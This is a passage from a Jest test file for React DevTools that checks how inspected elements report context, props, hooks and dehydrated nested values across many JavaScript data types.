getChildContext() {\n        return contextData;\n      }\n      render() {\n        return this.props.children;\n      }\n    }\n    class LegacyContextConsumer extends React.Component<any> {\n      static contextTypes = {\n        bool: PropTypes.bool,\n      };\n      render() {\n        return null;\n      }\n    }\n\n    // Modern Context API\n    const BoolContext = React.createContext(contextData.bool);\n    BoolContext.displayName = 'BoolContext';\n\n    class ModernContextType extends React.Component<any> {\n      static contextType = BoolContext;\n      render() {\n        return null;\n      }\n    }\n\n    const ModernContext = React.createContext();\n    ModernContext.displayName = 'ModernContext';\n\n    await utils.actAsync(() =>\n      render(\n        <React.Fragment>\n          <LegacyContextProvider>\n            <LegacyContextConsumer />\n          </LegacyContextProvider>\n          <BoolContext.Consumer>{value => null}</BoolContext.Consumer>\n          <ModernContextType />\n          <ModernContext.Provider value={contextData}>\n            <ModernContext.Consumer>{value => null}</ModernContext.Consumer>\n          </ModernContext.Provider>\n        </React.Fragment>,\n      ),\n    );\n\n    const cases = [\n      {\n        // <LegacyContextConsumer />\n        index: 1,\n        shouldHaveLegacyContext: true,\n      },\n      {\n        // <BoolContext.Consumer>\n        index: 2,\n        shouldHaveLegacyContext: false,\n      },\n      {\n        // <ModernContextType />\n        index: 3,\n        shouldHaveLegacyContext: false,\n      },\n      {\n        // <ModernContext.Consumer>\n        index: 5,\n        shouldHaveLegacyContext: false,\n      },\n    ];\n\n    for (let i = 0; i < cases.length; i++) {\n      const {index, shouldHaveLegacyContext} = cases[i];\n\n      // HACK: Recreate TestRenderer instance because we rely on default state values\n      // from props like defaultInspectedElementID and it's easier to reset here than\n      // to read the TreeDispatcherContext and update the selected ID that way.\n      // We're testing the inspected values here, not the context wiring, so that's ok.\n      withErrorsOrWarningsIgnored(\n        ['An update to %s inside a test was not wrapped in act'],\n        () => {\n          testRendererInstance = TestRenderer.create(null, {\n            unstable_isConcurrent: true,\n          });\n        },\n      );\n\n      const inspectedElement = await inspectElementAtIndex(index);\n\n      expect(inspectedElement.context).not.toBe(null);\n      expect(inspectedElement.hasLegacyContext).toBe(shouldHaveLegacyContext);\n    }\n  });\n\n  it('should poll for updates for the currently selected element', async () => {\n    const Example = () => null;\n\n    await utils.actAsync(() => render(<Example a={1} b=\"abc\" />), false);\n\n    let inspectedElement = await inspectElementAtIndex(0);\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"a\": 1,\n        \"b\": \"abc\",\n      }\n    `);\n\n    await utils.actAsync(() => render(<Example a={2} b=\"def\" />), false);\n\n    // TODO (cache)\n    // This test only passes if both the check-for-updates poll AND the test renderer.update() call are included below.\n    // It seems like either one of the two should be sufficient but:\n    // 1. Running only check-for-updates schedules a transition that React never renders.\n    // 2. Running only renderer.update() loads stale data (first props)\n\n    // Wait for our check-for-updates poll to get the new data.\n    jest.runOnlyPendingTimers();\n    await Promise.resolve();\n\n    inspectedElement = await inspectElementAtIndex(0);\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"a\": 2,\n        \"b\": \"def\",\n      }\n    `);\n  });\n\n  it('should not re-render a function with hooks if it did not update since it was last inspected', async () => {\n    let targetRenderCount = 0;\n\n    const Wrapper = ({children}) => children;\n    const Target = React.memo(props => {\n      targetRenderCount++;\n      // Even though his hook isn't referenced, it's used to observe backend rendering.\n      React.useState(0);\n      return null;\n    });\n\n    await utils.actAsync(() =>\n      render(\n        <Wrapper>\n          <Target a={1} b=\"abc\" />\n        </Wrapper>,\n      ),\n    );\n\n    targetRenderCount = 0;\n\n    let inspectedElement = await inspectElementAtIndex(1);\n    // One more because we call render function for generating component stack,\n    // which is required for defining source location\n    expect(targetRenderCount).toBe(2);\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"a\": 1,\n        \"b\": \"abc\",\n      }\n    `);\n\n    const prevInspectedElement = inspectedElement;\n\n    targetRenderCount = 0;\n    inspectedElement = await inspectElementAtIndex(1);\n    expect(targetRenderCount).toBe(0);\n    expect(inspectedElement).toEqual(prevInspectedElement);\n\n    targetRenderCount = 0;\n\n    await utils.actAsync(\n      () =>\n        render(\n          <Wrapper>\n            <Target a={2} b=\"def\" />\n          </Wrapper>,\n        ),\n      false,\n    );\n\n    // Target should have been rendered once (by ReactDOM) and once by DevTools for inspection.\n    inspectedElement = await inspectElementAtIndex(1);\n    expect(targetRenderCount).toBe(2);\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"a\": 2,\n        \"b\": \"def\",\n      }\n    `);\n  });\n\n  // See github.com/facebook/react/issues/22241#issuecomment-931299972\n  it('should properly recover from a cache miss on the frontend', async () => {\n    let targetRenderCount = 0;\n\n    const Wrapper = ({children}) => children;\n    const Target = React.memo(props => {\n      targetRenderCount++;\n      // Even though his hook isn't referenced, it's used to observe backend rendering.\n      React.useState(0);\n      return null;\n    });\n\n    await utils.actAsync(() =>\n      render(\n        <Wrapper>\n          <Target a={1} b=\"abc\" />\n        </Wrapper>,\n      ),\n    );\n\n    targetRenderCount = 0;\n\n    let inspectedElement = await inspectElementAtIndex(1);\n    // One more because we call render function for generating component stack,\n    // which is required for defining source location\n    expect(targetRenderCount).toBe(2);\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"a\": 1,\n        \"b\": \"abc\",\n      }\n    `);\n\n    const prevInspectedElement = inspectedElement;\n\n    // This test causes an intermediate error to be logged but we can ignore it.\n    jest.spyOn(console, 'error').mockImplementation(() => {});\n\n    // Clear the frontend cache to simulate DevTools being closed and re-opened.\n    // The backend still thinks the most recently-inspected element is still cached,\n    // so the frontend needs to tell it to resend a full value.\n    // We can verify this by asserting that the component is re-rendered again.\n    withErrorsOrWarningsIgnored(\n      ['An update to %s inside a test was not wrapped in act'],\n      () => {\n        testRendererInstance = TestRenderer.create(null, {\n          unstable_isConcurrent: true,\n        });\n      },\n    );\n\n    const {\n      clearCacheForTests,\n    } = require('react-devtools-shared/src/inspectedElementMutableSource');\n    clearCacheForTests();\n\n    targetRenderCount = 0;\n    inspectedElement = await inspectElementAtIndex(1);\n    expect(targetRenderCount).toBe(1);\n    expect(inspectedElement).toEqual(prevInspectedElement);\n  });\n\n  it('should temporarily disable console logging when re-running a component to inspect its hooks', async () => {\n    let targetRenderCount = 0;\n\n    jest.spyOn(console, 'error').mockImplementation(() => {});\n    jest.spyOn(console, 'info').mockImplementation(() => {});\n    jest.spyOn(console, 'log').mockImplementation(() => {});\n    jest.spyOn(console, 'warn').mockImplementation(() => {});\n\n    const Target = React.memo(props => {\n      targetRenderCount++;\n      console.error('error');\n      console.info('info');\n      console.log('log');\n      console.warn('warn');\n      React.useState(0);\n      return null;\n    });\n\n    await utils.actAsync(() => render(<Target a={1} b=\"abc\" />));\n\n    expect(targetRenderCount).toBe(1);\n    expect(console.error).toHaveBeenCalledTimes(1);\n    expect(console.error).toHaveBeenCalledWith('error');\n    expect(console.info).toHaveBeenCalledTimes(1);\n    expect(console.info).toHaveBeenCalledWith('info');\n    expect(console.log).toHaveBeenCalledTimes(1);\n    expect(console.log).toHaveBeenCalledWith('log');\n    expect(console.warn).toHaveBeenCalledTimes(1);\n    expect(console.warn).toHaveBeenCalledWith('warn');\n\n    const inspectedElement = await inspectElementAtIndex(0);\n\n    expect(inspectedElement).not.toBe(null);\n    // One more because we call render function for generating component stack,\n    // which is required for defining source location\n    expect(targetRenderCount).toBe(3);\n    expect(console.error).toHaveBeenCalledTimes(1);\n    expect(console.info).toHaveBeenCalledTimes(1);\n    expect(console.log).toHaveBeenCalledTimes(1);\n    expect(console.warn).toHaveBeenCalledTimes(1);\n  });\n\n  it('should support simple data types', async () => {\n    const Example = () => null;\n\n    await utils.actAsync(() =>\n      render(\n        <Example\n          boolean_false={false}\n          boolean_true={true}\n          infinity={Infinity}\n          integer_zero={0}\n          integer_one={1}\n          float={1.23}\n          string=\"abc\"\n          string_empty=\"\"\n          nan={NaN}\n          value_null={null}\n          value_undefined={undefined}\n        />,\n      ),\n    );\n\n    const inspectedElement = await inspectElementAtIndex(0);\n\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"boolean_false\": false,\n        \"boolean_true\": true,\n        \"float\": 1.23,\n        \"infinity\": Infinity,\n        \"integer_one\": 1,\n        \"integer_zero\": 0,\n        \"nan\": NaN,\n        \"string\": \"abc\",\n        \"string_empty\": \"\",\n        \"value_null\": null,\n        \"value_undefined\": undefined,\n      }\n    `);\n  });\n\n  it('should support complex data types', async () => {\n    const Immutable = require('immutable');\n\n    const Example = () => null;\n\n    const arrayOfArrays = [[['abc', 123, true], []]];\n    const div = document.createElement('div');\n    const exampleFunction = () => {};\n    const exampleDateISO = '2019-12-31T23:42:42.000Z';\n    const setShallow = new Set(['abc', 123]);\n    const mapShallow = new Map([\n      ['name', 'Brian'],\n      ['food', 'sushi'],\n    ]);\n    const setOfSets = new Set([new Set(['a', 'b', 'c']), new Set([1, 2, 3])]);\n    const mapOfMaps = new Map([\n      ['first', mapShallow],\n      ['second', mapShallow],\n    ]);\n    const objectOfObjects = {\n      inner: {string: 'abc', number: 123, boolean: true},\n    };\n    const objectWithSymbol = {\n      [Symbol('name')]: 'hello',\n    };\n    const typedArray = Int8Array.from([100, -100, 0]);\n    const arrayBuffer = typedArray.buffer;\n    const dataView = new DataView(arrayBuffer);\n    const immutableMap = Immutable.fromJS({\n      a: [{hello: 'there'}, 'fixed', true],\n      b: 123,\n      c: {\n        '1': 'xyz',\n        xyz: 1,\n      },\n    });\n\n    class Class {\n      anonymousFunction = () => {};\n    }\n    const instance = new Class();\n\n    const proxyInstance = new Proxy(() => {}, {\n      get: function (_, name) {\n        return function () {\n          return null;\n        };\n      },\n    });\n\n    await utils.actAsync(() =>\n      render(\n        <Example\n          anonymous_fn={instance.anonymousFunction}\n          array_buffer={arrayBuffer}\n          array_of_arrays={arrayOfArrays}\n          big_int={BigInt(123)}\n          bound_fn={exampleFunction.bind(this)}\n          data_view={dataView}\n          date={new Date(exampleDateISO)}\n          fn={exampleFunction}\n          html_element={div}\n          immutable={immutableMap}\n          map={mapShallow}\n          map_of_maps={mapOfMaps}\n          object_of_objects={objectOfObjects}\n          object_with_symbol={objectWithSymbol}\n          proxy={proxyInstance}\n          react_element={<span />}\n          react_lazy={React.lazy(async () => ({default: 'foo'}))}\n          regexp={/abc/giu}\n          set={setShallow}\n          set_of_sets={setOfSets}\n          symbol={Symbol('symbol')}\n          typed_array={typedArray}\n        />,\n      ),\n    );\n\n    const inspectedElement = await inspectElementAtIndex(0);\n\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"anonymous_fn\": Dehydrated {\n          \"preview_short\": () => {},\n          \"preview_long\": () => {},\n        },\n        \"array_buffer\": Dehydrated {\n          \"preview_short\": ArrayBuffer(3),\n          \"preview_long\": ArrayBuffer(3),\n        },\n        \"array_of_arrays\": [\n          Dehydrated {\n            \"preview_short\": Array(2),\n            \"preview_long\": [Array(3), Array(0)],\n          },\n        ],\n        \"big_int\": Dehydrated {\n          \"preview_short\": 123n,\n          \"preview_long\": 123n,\n        },\n        \"bound_fn\": Dehydrated {\n          \"preview_short\": bound exampleFunction() {},\n          \"preview_long\": bound exampleFunction() {},\n        },\n        \"data_view\": Dehydrated {\n          \"preview_short\": DataView(3),\n          \"preview_long\": DataView(3),\n        },\n        \"date\": Dehydrated {\n          \"preview_short\": Tue Dec 31 2019 23:42:42 GMT+0000 (Coordinated Universal Time),\n          \"preview_long\": Tue Dec 31 2019 23:42:42 GMT+0000 (Coordinated Universal Time),\n        },\n        \"fn\": Dehydrated {\n          \"preview_short\": exampleFunction() {},\n          \"preview_long\": exampleFunction() {},\n        },\n        \"html_element\": Dehydrated {\n          \"preview_short\": <div />,\n          \"preview_long\": <div />,\n        },\n        \"immutable\": {\n          \"0\": Dehydrated {\n            \"preview_short\": Array(2),\n            \"preview_long\": [\"a\", List(3)],\n          },\n          \"1\": Dehydrated {\n            \"preview_short\": Array(2),\n            \"preview_long\": [\"b\", 123],\n          },\n          \"2\": Dehydrated {\n            \"preview_short\": Array(2),\n            \"preview_long\": [\"c\", Map(2)],\n          },\n        },\n        \"map\": {\n          \"0\": Dehydrated {\n            \"preview_short\": Array(2),\n            \"preview_long\": [\"name\", \"Brian\"],\n          },\n          \"1\": Dehydrated {\n            \"preview_short\": Array(2),\n            \"preview_long\": [\"food\", \"sushi\"],\n          },\n        },\n        \"map_of_maps\": {\n          \"0\": Dehydrated {\n            \"preview_short\": Array(2),\n            \"preview_long\": [\"first\", Map(2)],\n          },\n          \"1\": Dehydrated {\n            \"preview_short\": Array(2),\n            \"preview_long\": [\"second\", Map(2)],\n          },\n        },\n        \"object_of_objects\": {\n          \"inner\": Dehydrated {\n            \"preview_short\": {…},\n            \"preview_long\": {boolean: true, number: 123, string: \"abc\"},\n          },\n        },\n        \"object_with_symbol\": {\n          \"Symbol(name)\": \"hello\",\n        },\n        \"proxy\": Dehydrated {\n          \"preview_short\": () => {},\n          \"preview_long\": () => {},\n        },\n        \"react_element\": {\n          \"key\": null,\n          \"props\": Dehydrated {\n            \"preview_short\": {…},\n            \"preview_long\": {},\n          },\n        },\n        \"react_lazy\": {\n          \"_payload\": Dehydrated {\n            \"preview_short\": {…},\n            \"preview_long\": {_ioInfo: {…}, _result: () => {}, _status: -1},\n          },\n        },\n        \"regexp\": Dehydrated {\n          \"preview_short\": /abc/giu,\n          \"preview_long\": /abc/giu,\n        },\n        \"set\": {\n          \"0\": \"abc\",\n          \"1\": 123,\n        },\n        \"set_of_sets\": {\n          \"0\": Dehydrated {\n            \"preview_short\": Set(3),\n            \"preview_long\": Set(3) {\"a\", \"b\", \"c\"},\n          },\n          \"1\": Dehydrated {\n            \"preview_short\": Set(3),\n            \"preview_long\": Set(3) {1, 2, 3},\n          },\n        },\n        \"symbol\": Dehydrated {\n          \"preview_short\": Symbol(symbol),\n          \"preview_long\": Symbol(symbol),\n        },\n        \"typed_array\": {\n          \"0\": 100,\n          \"1\": -100,\n          \"2\": 0,\n        },\n      }\n    `);\n  });\n\n  it('should support Thenables in React 19', async () => {\n    const Example = () => null;\n\n    class SubclassedPromise extends Promise {}\n\n    const plainThenable = {then() {}};\n    const subclassedPromise = new SubclassedPromise(() => {});\n    const unusedPromise = Promise.resolve();\n    const usedFulfilledPromise = Promise.resolve();\n    const usedFulfilledRichPromise = Promise.resolve({\n      some: {\n        deeply: {\n          nested: {\n            object: {\n              string: 'test',\n              fn: () => {},\n            },\n          },\n        },\n      },\n    });\n    const usedPendingPromise = new Promise(resolve => {});\n    const usedRejectedPromise = Promise.reject(\n      new Error('test-error-do-not-surface'),\n    );\n\n    function Use({value}) {\n      React.use(value);\n    }\n\n    await utils.actAsync(() =>\n      render(\n        <>\n          <Example\n            plainThenable={plainThenable}\n            subclassedPromise={subclassedPromise}\n            unusedPromise={unusedPromise}\n            usedFulfilledPromise={usedFulfilledPromise}\n            usedFulfilledRichPromise={usedFulfilledRichPromise}\n            usedPendingPromise={usedPendingPromise}\n            usedRejectedPromise={usedRejectedPromise}\n          />\n          <React.Suspense>\n            <Use value={usedPendingPromise} />\n          </React.Suspense>\n          <React.Suspense>\n            <Use value={usedFulfilledPromise} />\n          </React.Suspense>\n          <React.Suspense>\n            <Use value={usedFulfilledRichPromise} />\n          </React.Suspense>\n          <ErrorBoundary>\n            <React.Suspense>\n              <Use value={usedRejectedPromise} />\n            </React.Suspense>\n          </ErrorBoundary>\n        </>,\n      ),\n    );\n\n    const inspectedElement = await inspectElementAtIndex(0);\n\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"plainThenable\": Dehydrated {\n          \"preview_short\": Thenable,\n          \"preview_long\": Thenable,\n        },\n        \"subclassedPromise\": Dehydrated {\n          \"preview_short\": SubclassedPromise,\n          \"preview_long\": SubclassedPromise,\n        },\n        \"unusedPromise\": Dehydrated {\n          \"preview_short\": Promise,\n          \"preview_long\": Promise,\n        },\n        \"usedFulfilledPromise\": {\n          \"value\": undefined,\n        },\n        \"usedFulfilledRichPromise\": {\n          \"value\": Dehydrated {\n            \"preview_short\": {…},\n            \"preview_long\": {some: {…}},\n          },\n        },\n        \"usedPendingPromise\": Dehydrated {\n          \"preview_short\": pending Promise,\n          \"preview_long\": pending Promise,\n        },\n        \"usedRejectedPromise\": {\n          \"reason\": Dehydrated {\n            \"preview_short\": Error: test-error-do-not-surface,\n            \"preview_long\": Error: test-error-do-not-surface,\n          },\n        },\n      }\n    `);\n  });\n\n  it('should support Promises in React 18', async () => {\n    const Example = () => null;\n\n    const unusedPromise = Promise.resolve();\n\n    await utils.actAsync(() =>\n      render(\n        <>\n          <Example unusedPromise={unusedPromise} />\n        </>,\n      ),\n    );\n\n    const inspectedElement = await inspectElementAtIndex(0);\n\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n          {\n            \"unusedPromise\": Dehydrated {\n              \"preview_short\": Promise,\n              \"preview_long\": Promise,\n            },\n          }\n      `);\n  });\n\n  it('should not consume iterables while inspecting', async () => {\n    const Example = () => null;\n\n    function* generator() {\n      throw Error('Should not be consumed!');\n    }\n\n    const iterable = generator();\n    await utils.actAsync(() => render(<Example prop={iterable} />));\n\n    const inspectedElement = await inspectElementAtIndex(0);\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"prop\": Dehydrated {\n          \"preview_short\": Generator,\n          \"preview_long\": Generator,\n        },\n      }\n    `);\n  });\n\n  it('should support objects with no prototype', async () => {\n    const Example = () => null;\n\n    const object = Object.create(null);\n    object.string = 'abc';\n    object.number = 123;\n    object.boolean = true;\n\n    await utils.actAsync(() => render(<Example object={object} />));\n\n    const inspectedElement = await inspectElementAtIndex(0);\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"object\": {\n          \"boolean\": true,\n          \"number\": 123,\n          \"string\": \"abc\",\n        },\n      }\n    `);\n  });\n\n  it('should support objects with overridden hasOwnProperty', async () => {\n    const Example = () => null;\n\n    const object = {\n      name: 'blah',\n      hasOwnProperty: true,\n    };\n\n    await utils.actAsync(() => render(<Example object={object} />));\n\n    const inspectedElement = await inspectElementAtIndex(0);\n\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"object\": {\n          \"hasOwnProperty\": true,\n          \"name\": \"blah\",\n        },\n      }\n    `);\n  });\n\n  it('should support custom objects with enumerable properties and getters', async () => {\n    class CustomData {\n      _number = 42;\n      get number() {\n        return this._number;\n      }\n      set number(value) {\n        this._number = value;\n      }\n    }\n\n    const descriptor = ((Object.getOwnPropertyDescriptor(\n      CustomData.prototype,\n      'number',\n    ): any): PropertyDescriptor<number>);\n    descriptor.enumerable = true;\n    Object.defineProperty(CustomData.prototype, 'number', descriptor);\n\n    const Example = () => null;\n\n    await utils.actAsync(() => render(<Example data={new CustomData()} />));\n\n    const inspectedElement = await inspectElementAtIndex(0);\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"data\": {\n          \"_number\": 42,\n          \"number\": 42,\n        },\n      }\n    `);\n  });\n\n  it('should support objects with inherited keys', async () => {\n    const Example = () => null;\n\n    const base = Object.create(Object.prototype, {\n      enumerableStringBase: {\n        value: 1,\n        writable: true,\n        enumerable: true,\n        configurable: true,\n      },\n      [Symbol('enumerableSymbolBase')]: {\n        value: 1,\n        writable: true,\n        enumerable: true,\n        configurable: true,\n      },\n      nonEnumerableStringBase: {\n        value: 1,\n        writable: true,\n        enumerable: false,\n        configurable: true,\n      },\n      [Symbol('nonEnumerableSymbolBase')]: {\n        value: 1,\n        writable: true,\n        enumerable: false,\n        configurable: true,\n      },\n    });\n\n    const object = Object.create(base, {\n      enumerableString: {\n        value: 2,\n        writable: true,\n        enumerable: true,\n        configurable: true,\n      },\n      nonEnumerableString: {\n        value: 3,\n        writable: true,\n        enumerable: false,\n        configurable: true,\n      },\n      123: {\n        value: 3,\n        writable: true,\n        enumerable: true,\n        configurable: true,\n      },\n      [Symbol('nonEnumerableSymbol')]: {\n        value: 2,\n        writable: true,\n        enumerable: false,\n        configurable: true,\n      },\n      [Symbol('enumerableSymbol')]: {\n        value: 3,\n        writable: true,\n        enumerable: true,\n        configurable: true,\n      },\n    });\n\n    await utils.actAsync(() => render(<Example object={object} />));\n\n    const inspectedElement = await inspectElementAtIndex(0);\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"object\": {\n          \"123\": 3,\n          \"Symbol(enumerableSymbol)\": 3,\n          \"Symbol(enumerableSymbolBase)\": 1,\n          \"enumerableString\": 2,\n          \"enumerableStringBase\": 1,\n        },\n      }\n    `);\n  });\n\n  it('should allow component prop value and value`s prototype has same name params.', async () => {\n    const testData = Object.create(\n      {\n        a: undefined,\n        b: Infinity,\n        c: NaN,\n        d: 'normal',\n      },\n      {\n        a: {\n          value: undefined,\n          writable: true,\n          enumerable: true,\n          configurable: true,\n        },\n        b: {\n          value: Infinity,\n          writable: true,\n          enumerable: true,\n          configurable: true,\n        },\n        c: {\n          value: NaN,\n          writable: true,\n          enumerable: true,\n          configurable: true,\n        },\n        d: {\n          value: 'normal',\n          writable: true,\n          enumerable: true,\n          configurable: true,\n        },\n      },\n    );\n    const Example = ({data}) => null;\n\n    await utils.actAsync(() => render(<Example data={testData} />));\n\n    const inspectedElement = await inspectElementAtIndex(0);\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"data\": {\n          \"a\": undefined,\n          \"b\": Infinity,\n          \"c\": NaN,\n          \"d\": \"normal\",\n        },\n      }\n    `);\n  });\n\n  it('should not dehydrate nested values until explicitly requested', async () => {\n    const Example = () => {\n      const [state] = React.useState({\n        foo: {\n          bar: {\n            baz: 'hi',\n          },\n        },\n      });\n\n      return state.foo.bar.baz;\n    };\n\n    await utils.actAsync(() =>\n      render(\n        <Example\n          nestedObject={{\n            a: {\n              b: {\n                c: [\n                  {\n                    d: {\n                      e: {},\n                    },\n                  },\n                ],\n              },\n            },\n          }}\n        />,\n      ),\n    );\n\n    let inspectedElement = null;\n    let inspectElementPath = null;\n\n    // Render once to get a handle on inspectElementPath()\n    inspectedElement = await inspectElementAtIndex(0, () => {\n      inspectElementPath = useInspectElementPath();\n    });\n\n    async function loadPath(path) {\n      await TestUtilsAct(async () => {\n        await TestRendererAct(async () => {\n          inspectElementPath(path);\n        });\n      });\n\n      inspectedElement = await inspectElementAtIndex(0);\n    }\n\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"nestedObject\": {\n          \"a\": Dehydrated {\n            \"preview_short\": {…},\n            \"preview_long\": {b: {…}},\n          },\n        },\n      }\n    `);\n\n    await loadPath(['props', 'nestedObject', 'a']);\n\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"nestedObject\": {\n          \"a\": {\n            \"b\": {\n              \"c\": Dehydrated {\n                \"preview_short\": Array(1),\n                \"preview_long\": [{…}],\n              },\n            },\n          },\n        },\n      }\n    `);\n\n    await loadPath(['props', 'nestedObject', 'a', 'b', 'c']);\n\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"nestedObject\": {\n          \"a\": {\n            \"b\": {\n              \"c\": [\n                {\n                  \"d\": Dehydrated {\n                    \"preview_short\": {…},\n                    \"preview_long\": {e: {…}},\n                  },\n                },\n              ],\n            },\n          },\n        },\n      }\n    `);\n\n    await loadPath(['props', 'nestedObject', 'a', 'b', 'c', 0, 'd']);\n\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"nestedObject\": {\n          \"a\": {\n            \"b\": {\n              \"c\": [\n                {\n                  \"d\": {\n                    \"e\": {},\n                  },\n                },\n              ],\n            },\n          },\n        },\n      }\n    `);\n\n    await loadPath(['hooks', 0, 'value']);\n\n    expect(inspectedElement.hooks).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": \"removed by Jest serializer\",\n            \"fileName\": \"react-devtools-shared/src/__tests__/inspectedElement-test.js\",\n            \"functionName\": \"Example\",\n            \"lineNumber\": \"removed by Jest serializer\",\n          },\n          \"id\": 0,\n          \"isStateEditable\": true,\n          \"name\": \"State\",\n          \"subHooks\": [],\n          \"value\": {\n            \"foo\": {\n              \"bar\": Dehydrated {\n                \"preview_short\": {…},\n                \"preview_long\": {baz: \"hi\"},\n              },\n            },\n          },\n        },\n      ]\n    `);\n\n    await loadPath(['hooks', 0, 'value', 'foo', 'bar']);\n\n    expect(inspectedElement.hooks).toMatchInlineSnapshot(`\n      [\n        {\n          \"debugInfo\": null,\n          \"hookSource\": {\n            \"columnNumber\": \"removed by Jest serializer\",\n            \"fileName\": \"react-devtools-shared/src/__tests__/inspectedElement-test.js\",\n            \"functionName\": \"Example\",\n            \"lineNumber\": \"removed by Jest serializer\",\n          },\n          \"id\": 0,\n          \"isStateEditable\": true,\n          \"name\": \"State\",\n          \"subHooks\": [],\n          \"value\": {\n            \"foo\": {\n              \"bar\": {\n                \"baz\": \"hi\",\n              },\n            },\n          },\n        },\n      ]\n    `);\n  });\n\n  it('should dehydrate complex nested values when requested', async () => {\n    const Example = () => null;\n\n    await utils.actAsync(() =>\n      render(\n        <Example\n          set_of_sets={new Set([new Set([1, 2, 3]), new Set(['a', 'b', 'c'])])}\n        />,\n      ),\n    );\n\n    let inspectedElement = null;\n    let inspectElementPath = null;\n\n    // Render once to get a handle on inspectElementPath()\n    inspectedElement = await inspectElementAtIndex(0, () => {\n      inspectElementPath = useInspectElementPath();\n    });\n\n    async function loadPath(path) {\n      await TestUtilsAct(async () => {\n        await TestRendererAct(async () => {\n          inspectElementPath(path);\n        });\n      });\n\n      inspectedElement = await inspectElementAtIndex(0);\n    }\n\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"set_of_sets\": {\n          \"0\": Dehydrated {\n            \"preview_short\": Set(3),\n            \"preview_long\": Set(3) {1, 2, 3},\n          },\n          \"1\": Dehydrated {\n            \"preview_short\": Set(3),\n            \"preview_long\": Set(3) {\"a\", \"b\", \"c\"},\n          },\n        },\n      }\n    `);\n\n    await loadPath(['props', 'set_of_sets', 0]);\n\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"set_of_sets\": {\n          \"0\": {\n            \"0\": 1,\n            \"1\": 2,\n            \"2\": 3,\n          },\n          \"1\": Dehydrated {\n            \"preview_short\": Set(3),\n            \"preview_long\": Set(3) {\"a\", \"b\", \"c\"},\n          },\n        },\n      }\n    `);\n  });\n\n  it('should include updates for nested values that were previously hydrated', async () => {\n    const Example = () => null;\n\n    await utils.actAsync(() =>\n      render(\n        <Example\n          nestedObject={{\n            a: {\n              value: 1,\n              b: {\n                value: 1,\n              },\n            },\n            c: {\n              value: 1,\n              d: {\n                value: 1,\n                e: {\n                  value: 1,\n                },\n              },\n            },\n          }}\n        />,\n      ),\n    );\n\n    let inspectedElement = null;\n    let inspectElementPath = null;\n\n    // Render once to get a handle on inspectElementPath()\n    inspectedElement = await inspectElementAtIndex(0, () => {\n      inspectElementPath = useInspectElementPath();\n    });\n\n    async function loadPath(path) {\n      await TestUtilsAct(async () => {\n        await TestRendererAct(async () => {\n          inspectElementPath(path);\n        });\n      });\n\n      inspectedElement = await inspectElementAtIndex(0);\n    }\n\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"nestedObject\": {\n          \"a\": Dehydrated {\n            \"preview_short\": {…},\n            \"preview_long\": {b: {…}, value: 1},\n          },\n          \"c\": Dehydrated {\n            \"preview_short\": {…},\n            \"preview_long\": {d: {…}, value: 1},\n          },\n        },\n      }\n    `);\n\n    await loadPath(['props', 'nestedObject', 'a']);\n\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"nestedObject\": {\n          \"a\": {\n            \"b\": {\n              \"value\": 1,\n            },\n            \"value\": 1,\n          },\n          \"c\": Dehydrated {\n            \"preview_short\": {…},\n            \"preview_long\": {d: {…}, value: 1},\n          },\n        },\n      }\n    `);\n\n    await loadPath(['props', 'nestedObject', 'c']);\n\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"nestedObject\": {\n          \"a\": {\n            \"b\": {\n              \"value\": 1,\n            },\n            \"value\": 1,\n          },\n          \"c\": {\n            \"d\": {\n              \"e\": Dehydrated {\n                \"preview_short\": {…},\n                \"preview_long\": {value: 1},\n              },\n              \"value\": 1,\n            },\n            \"value\": 1,\n          },\n        },\n      }\n    `);\n\n    await TestRendererAct(async () => {\n      await TestUtilsAct(async () => {\n        render(\n          <Example\n            nestedObject={{\n              a: {\n                value: 2,\n                b: {\n                  value: 2,\n                },\n              },\n              c: {\n                value: 2,\n                d: {\n                  value: 2,\n                  e: {\n                    value: 2,\n                  },\n                },\n              },\n            }}\n          />,\n        );\n      });\n    });\n\n    // Wait for pending poll-for-update and then update inspected element data.\n    jest.runOnlyPendingTimers();\n    await Promise.resolve();\n    inspectedElement = await inspectElementAtIndex(0);\n\n    expect(inspectedElement.props).toMatchInlineSnapshot(`\n      {\n        \"nestedObject\": {\n          \"a\": {\n            \"b\": {\n              \"value\": 2,\n            },\n            \"value\": 2,\n          },\n          \"c\": {\n            \"d\": {\n              \"e\": Dehydrated {\n                \"preview_short\": {…},\n                \"preview_long\": {value: 2},\n              },\n              \"value\": 2,\n            },\n            \"value\": 2,\n          },\n        },\n      }\n    `);\n  });\n\n  it('should return a full update if a path is inspected for an object that has other pending changes', async () => {\n    const Example = () => null;\n\n    await utils.actAsync(() =>\n      render(\n        <Example\n          nestedObject={{\n            a: {\n              value: 1,\n              b: {\n                value: 1,\n              },\n            },\n            c: {\n              value: 1,\n              d: {\n                value: 1,\n                e: {\n                  value: 1,\n                },\n              },\n            },\n          }}\n        />,\n      ),\n    );\n\n    let inspectedElement = null;\n    let inspectElementPath = 